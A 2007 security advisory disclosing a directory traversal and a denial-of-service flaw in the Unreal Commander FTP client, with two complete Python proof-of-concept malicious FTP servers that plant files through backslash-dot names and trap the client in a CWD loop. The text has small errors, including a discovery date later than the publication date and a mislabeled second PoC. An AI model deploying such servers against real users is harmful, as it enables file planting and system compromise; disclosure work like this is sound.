HISPASEC
Security Advisory
http://blog.hispasec.com/lab/

Name         : 2K7SEPT6 X-Diesel Unreal Commander v0.92 (build 573)
multiple FTP-based vulnerabilities
Class        : Remote directory traversal, Remote DoS
Threat level : HIGH
Discovered   : 2007-09-06
Published    : 2007-08-24
Credit       : Gynvael Coldwind
Vulnerable   : 0.92 (build 573), 0.92 (build 565), prior also may be affected


== Abstract ==

Unreal Commander is an award winning freeware file manager for Windows
98/ME/2000/XP/2003/Vista. The application support multiple archive
formats, has a built-in ftp client, and other features.

Unreal Commander fails to correctly handle malformed file name while downloading
a remote file from a malformed FTP server to a local hard driver. This allows an
attacker to perform a directory traversal attack. Successful exploitation may
lead to a full scale system compromise.

Unreal Commander also fails to correctly handle FTP reponses. This can lead to
the application entering an infinite loop, denying service to the legitimate
user.


== Details ==

1. Remote FTP Directory Traversal
The FTP feature fails to correctly check the name of a file that is to be
downloaded. This filename can contain backslashes and dots, and these dots and
backslashes will be used as a part of a file name.
An example file list sent from the FTP server can look like this:
-rwxr-xr-x   2 ftp      ftp          4096 Aug  1 02:28
st\..\..\..\..\..\BackSlashPoC
When the user chooses to download the file (or a directory in which this file
exists), the Unreal Commander will try to create the file on a local harddrive
using the dots and backslashes as a part of a name.
Since more then enough \..\..\ will just bring the path to the disk root, the
attacker can choose any location on the disk to write the file to. The file can
for example overwrite a critical system file, or create a file in the Autostart
folder.

See Proof of Concept exploit at the bottom of this advisory.


2. Remote FTP DoS
When connecting to a malformed FTP, the Unreal Commander sends a CWD /
command. If the malformed FTP replies with a "550 CWD Operation not permitted"
message, the Unreal Commander tries to resend the command. The loop continues
until the remote FTP answers with a message about operation being successful.
If the remote FTP disconnects while Unreal Commander is still in the CWD loop,
the Unreal Commander will continue to remain in the loop.
The Unreal Commander does not react to Cancel/ALT+F4/ESC commands from the user,
the only way to exit the loop is to terminate the application.

See Proof of Concept exploit at the bottom of this advisory.


== Vendor status and solution ==

The vendor has been informed, but has not yet released a proper patch.

The solution is to check the file names of each file being downloaded from a
remote unknown FTP.


== Proof of Concept - Remote FTP Directory Traversal ==
# python FTP
# by Gynvael Coldwind
import socket

TransferSock = 0

def sendDirList (sock):
  (DataSock, Address) = TransferSock.accept()
  print "sendDirList: TransferSock accepted a connection"
  sock.send("150 Opening ASCII mode data connection for file list\r\n");
  DataSock.send("-rwxr-xr-x   2 ftp      ftp          4096 Aug  1
02:28 st\\..\\..\\..\\..\\..\\..\\BackSlashPoC\n");
  DataSock.close()
  sock.send("226 Transfer complete.\r\n");
  print "sendDirList: Transfer complete\r\n"

def sendFile (sock):
  (DataSock, Address) = TransferSock.accept()
  print "sendDirList: TransferSock accepted a connection"
  sock.send("150 Opening BINARY mode data connection for sth (5 bytes)\r\n");
  DataSock.send("Proof of Concept - Remote FTP Client directory
traversal vulnerability (G.C. - Hispasec)");
  DataSock.close()
  sock.send("226 Transfer complete.\r\n");
  print "sendDirList: Transfer complete\r\n"

def handleUSER (sock, cmd, argz): sock.send("331 Password required for
user\r\n")
def handlePASS (sock, cmd, argz): sock.send("230 User logged in.\r\n")
def handleSYST (sock, cmd, argz): sock.send("215 UNIX Type: L8\r\n")
def handleFEAT (sock, cmd, argz): sock.send("211-Features:\r\n
MDTM\r\n REST STREAM\r\n211 End\r\n");
def handleTYPE (sock, cmd, argz): sock.send("200 Type set to " + argz + "\r\n");
def handlePASV (sock, cmd, argz): sock.send("227 Entering Passive Mode
(127,0,0,1,10,10)\r\n");
def handlePWD (sock, cmd, argz): sock.send("257 \"/\" is current
directory.\r\n")
def handleCWD (sock, cmd, argz): sock.send("250 Requested file action
okay, completed.\r\n")
def handleLIST (sock, cmd, argz): sendDirList(sock)
def handleQUIT (sock, cmd, argz):
  sock.send("Bye.\r\n")
  sock.close()

def handleRETR (sock, cmd, argz):
  if argz == "/":
    sendDirList(sock)
  else:
    sendFile(sock)


def unknown (sock, cmd, argz): sock.send("550 " + cmd + ": Operation
not permitted\r\n")

handlers = {
    'USER': handleUSER,
    'PASS': handlePASS,
    'SYST': handleSYST,
    'FEAT': handleFEAT,
    'TYPE': handleTYPE,
    'PASV': handlePASV,
    'PWD': handlePWD,
    'CWD': handleCWD,
    'LIST': handleLIST,
    'QUIT': handleQUIT,
    'RETR': handleRETR
    }

ControlSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ControlSock.bind(("127.0.0.1", 2021))
ControlSock.listen(1)

TransferSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
TransferSock.bind(("127.0.0.1", 10 * 256 + 10))
TransferSock.listen(10)

# Control Sock loop
(ClientSock, Address) = ControlSock.accept()
ClientSock.send("220 PoCFTPD 1.2.3.4 Server ready.\r\n");
end = 0

while not end:
  cmd = ClientSock.recv(1024)
  print "Debug: recv -> " + cmd.strip()
  command = (cmd[0:4]).strip()
  argz = ((cmd.strip())[5:]).strip()
  handlers.get(command, unknown)(ClientSock, command, argz)


== Proof of Concept - Remote FTP Directory Traversal ==
# python FTP DoS
# by Gynvael Coldwind
import socket

TransferSock = 0

def handleUSER (sock, cmd, argz): sock.send("331 Password required for
user\r\n")
def handlePASS (sock, cmd, argz): sock.send("230 User logged in.\r\n")
def handleSYST (sock, cmd, argz): sock.send("215 UNIX Type: L8\r\n")
def handleFEAT (sock, cmd, argz): sock.send("211-Features:\r\n
MDTM\r\n REST STREAM\r\n211 End\r\n");
def handleTYPE (sock, cmd, argz): sock.send("200 Type set to " + argz + "\r\n");
def handlePASV (sock, cmd, argz): sock.send("227 Entering Passive Mode
(127,0,0,1,10,10)\r\n");
def handleQUIT (sock, cmd, argz):
  sock.send("Bye.\r\n")
  sock.close()

def unknown (sock, cmd, argz):
  sock.send("550 " + cmd + ": Operation not permitted\r\n")
  print "The Unreal Commander is not in an infinite loop. You may quit
this exploit, the infinite loop will last."

handlers = {
    'USER': handleUSER,
    'PASS': handlePASS,
    'SYST': handleSYST,
    'FEAT': handleFEAT,
    'TYPE': handleTYPE,
    'PASV': handlePASV,
    'QUIT': handleQUIT
    }

ControlSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ControlSock.bind(("127.0.0.1", 2021))
ControlSock.listen(1)

TransferSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
TransferSock.bind(("127.0.0.1", 10 * 256 + 10))
TransferSock.listen(10)

# Control Sock loop
(ClientSock, Address) = ControlSock.accept()
ClientSock.send("220 PoCFTPD 1.2.3.4 Server ready.\r\n");
end = 0

while not end:
  cmd = ClientSock.recv(1024)
  print "Debug: recv -> " + cmd.strip()
  command = (cmd[0:4]).strip()
  argz = ((cmd.strip())[5:]).strip()
  handlers.get(command, unknown)(ClientSock, command, argz)


== Disclaimer ==
This document and all the information it contains is provided "as is",
without any warranty. Hispasec Sistemas is not responsible for the
misuse of the information provided in this advisory. The advisory is
provided for educational purposes only.

Permission is hereby granted to redistribute this advisory, providing
that no changes are made and that the copyright notices and
disclaimers remain intact.

Copyright (C) 2007 Hispasec Sistemas.

-- 
Gynvael Coldwind
mailto: michael AT hispasec DOT com
mailto: gynvael AT vexillium DOT org